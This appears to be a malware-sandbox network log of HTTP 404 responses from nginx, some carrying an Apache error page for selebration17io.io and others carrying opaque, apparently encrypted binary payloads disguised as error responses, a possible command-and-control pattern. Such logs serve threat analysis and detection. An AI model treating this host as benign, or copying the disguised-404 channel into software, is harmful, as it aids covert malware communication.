Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 13 d4 0c 1a 40 10 16 30 80 b7 d3 87 84 4f 15 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 65 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 55 9e 7e 29 fc 53 68 0b 8e 22 f5 86 55 d4 a3 86 04 12 fc 2a 54 e9 30 16 c7 37 f2 78 06 0d d2 1f db de fa e0 fd 87 71 cd 37 33 33 99 11 0c 45 7c 0f 57 44 8d e8 be 3c 50 35 11 fe 08 32 b9 7f 18 64 3d 28 2c 87 6a dd d6 be db 43 17 5c 53 a6 cd f6 4d 55 64 b1 ce 5b fd 51 19 d0 b3 4e 2a b1 15 22 18 cb 33 4f 72 3e 15 31 0b 5a a3 06 83 3a 56 2f cb 00 23 be 42 15 c7 07 53 53 fa cb 1f 9e 1d 09 52 2b e1 a3 15 7b 1a 45 f7 ff 78 2d c2 db d4 77 11 13 bf 1e e1 92 24 08 4f c5 03 bb 91 a1 39 64 de f5 69 39 8e 17 1e 45 af 9a a5 44 c9 a0 c1 b9 dd 7a 0d 90 4e 19 e0 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 0d 30 62 bf aa 35 fd f8 12 6c 33 6c 29 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 37 da a9 37 4f 79 82 ae 35 b6 04 4c 75 46 ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 52 2b 4c e0 fe 60 9d 72 17 70 bb d6 91 24 3c 27 d4 29 b1 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 3f 7f 55 00 79 00 1a 4d 07 e7 ac 04 c8 30 43 40 77 fb c1 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e c2 01 e8 24 31 28 cc e0 0e 92 b6 d7 52 4a 80 1b 6f e3 c3 29 32 28 e7 5b 1e 54 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 5f 6b 81 6c 6d 4c 81 cb e6 1f e4 a6 8d 2f 9f 10 bd d9 b0 99 03 99 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 17 b2 fe ae 90 6b 9a 56 39 d1 03 40 28 d2 ae 06 1f d0 db fd 7a 8f fe 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 68 c4 3a f6 63 b9 82 7b 50 bf e5 7e 2d bc 70 d4 03 6b 3b 98 76 72 0f ca 82 4d 72 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 03 b2 27 70 10 7b 3a 1d f8 50 d0 ac 88 c1 64 36 33 25 01 d8 a9 c3 76 9f 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 4e 93 81 59 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8e 39 bf 78 97 a6 a9 11 3b f6 52 dd e7 65 8e 1e 0d d3 13 3f 14 5b 63 17 9e 67 ac 9c cf 95 88 de af bc 62 a8 01 bd ec a9 95 32 96 d1 46 97 ea 13 19 80 03 92 61 c4 86 c5 54 53 7e 30 c6 1c 60 ae 6f 88 72 4b dd 54 f6 b8 1a 45 72 b6 ed f7 a2 3d bf 6c 13 d9 06 80 e3 a7 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 55 2b 98 c3 00 1f 7e 45 f7 ff 78 8d 55 db 24 0d 10 12 b4 1f eb 92 24 12 52 c5 03 45 ca a1 61 7e de f5 45 af 19 17 7e 4f af 9a a5 74 d4 a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f4 96 be 25 51 61 9f d4 3f 7c 88 28 c8 48 6b 91 df 4a 9a 07 fd ec 31 dc 64 ac 85 2f bd e1 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 1d f2 d1 4f 6b 79 82 ae 9c a7 1c 4c 45 ae ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac c7 bc c4 55 25 af ba 68 b2 59 e2 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 b4 5f 40 db 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 29 97 aa 1b 6f d3 cb 29 32 32 fa 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 5b 62 90 58 3f ae 03 a7 d0 1f e4 a6 4d 0d 9f 10 8f d9 b0 99 19 84 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 97 b2 ec a2 94 4a a9 b4 bb 45 fa 17 28 d2 de 5b 1f d0 83 aa 7a 8f a2 76 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a 56 63 ad 88 71 4a ba 80 7e 31 a6 70 d4 03 eb b2 98 76 6c 0f ca 82 b9 38 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 83 b2 21 6f 11 18 3a 1d f8 8d a3 ae 88 c1 d4 bf 33 25 77 da a9 c3 90 d5 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 4e 93 81 d9 3d fb d8 ea 94 62 97 52 b9 c5 ea 9e 13 c8 a6 4c 45 e5 f0 73 8d c1 c4 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 02 03 81 56 51 aa 5d 55 fe df 3c 42 66 98 de 9e 73 3f a8 65 a2 df 1f 78 60 be 2d 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 90 e9 f3 72 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 33 34 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 0f 90 10 dd 1a d3 e0 01 af 24 f0 2d 0b 5a 38 fd 29 00 65 98 59 66 1b 7d d7 e2 89 bd cc 6a c1 7e 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 34Uys/~(`:$-Z8)eYf}j~/0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 34 37 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 4c cd 44 9f 05 85 a4 4e f2 7b a9 64 14 00 78 a2 3e 5c 67 d8 0f 2b 09 7a 80 f5 d3 ed d7 70 97 3f 2e 5e 61 be b4 bf f7 5a 6e 94 2b 7b be d5 d4 3f a6 55 70 fb 0d 0a 30 0d 0a 0d 0a Data Ascii: 47Uys/~(`:LDN{dx>\g+zp?.^aZn+{?Up0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 05 Feb 2024 09:57:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 63 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 09 87 1c c1 57 9c f5 0f ae 66 f2 22 40 5a 3c bf 6f 0a 60 89 40 67 1b 71 c1 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cUys/~(`:Wf"@Z<o`@gq0
